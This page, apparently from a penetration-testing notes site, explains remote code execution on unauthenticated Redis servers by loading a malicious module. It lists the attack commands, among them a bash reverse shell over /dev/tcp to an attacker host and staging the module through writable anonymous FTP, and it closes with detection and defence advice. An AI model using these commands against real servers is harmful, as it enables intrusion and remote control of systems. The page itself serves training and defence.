the_open_door
coffee
ESEN
← Back to index

Redis RCE via MODULE LOAD

Full command arsenal in the cheatsheet

Redis (port 6379) supports modules: shared libraries (.so on Linux) that register new commands in the server. MODULE LOAD <path> loads one at runtime. If the service is unauthenticated (no requirepass) and exposes that command, an attacker can load a malicious module that adds a command like system.exec and run commands with the privileges of the redis process.

The reference module is RedisModules-ExecuteCommand (or the exp_lin.so shipped with the Redis-RCE exploit). The flow:

MODULE LOAD /path/to/module.so      # load the .so
system.exec "id"                     # run a command
system.exec "bash -i >& /dev/tcp/<lhost>/<lport> 0>&1"   # reverse shell
MODULE UNLOAD system                 # unload when done

The same as a one-liner with redis-cli (or -a '<pass>' if requirepass is set):

redis-cli -h <ip> MODULE LOAD /var/ftp/pub/exp_lin.so
redis-cli -h <ip> system.exec "id"

The tricky part is getting the .so onto the target. MODULE LOAD needs a local path on the victim, so you need a write primitive first. A common pattern: an anonymous FTP with write access whose directory (/var/ftp/pub/) is readable by Redis; you upload the module over FTP and load it with the resulting path (MODULE LOAD /var/ftp/pub/exp_lin.so). Any other file-write works too (a web upload, a shared mount, etc.).

Keep in mind the module version must match the Redis version (the module API changes across branches); exp_lin.so is built for the common 5.x line, but against others the load may fail and you'll need to recompile the module in an equivalent environment.

How to detect it. In Redis itself, the slowlog or monitor records the telltale commands: MODULE LOAD, system.exec, CONFIG SET dir/dbfilename (the webshell/cron-write variant), which an application server never issues. On the network, connections to 6379 from non-local IPs against a Redis with no requirepass are already the exposure. On the host, the redis-server process loading a .so from an upload path (/var/ftp/pub/, /tmp) and spawning sh/bash as a child is the confirmation (auditd/Sysmon for Linux over open of the .so + execve with ppid=redis-server).

Defence. Don't expose 6379 to untrusted networks (bind to 127.0.0.1), require requirepass/ACLs, and disable dangerous commands (MODULE, CONFIG) with rename-command. Also close the upload vector: an writable anonymous FTP next to an open Redis is the combination that closes the chain. Related to Redis enumeration and file-upload RCE.

Toolsredis-cliredis-rogue-server

Machines where it's used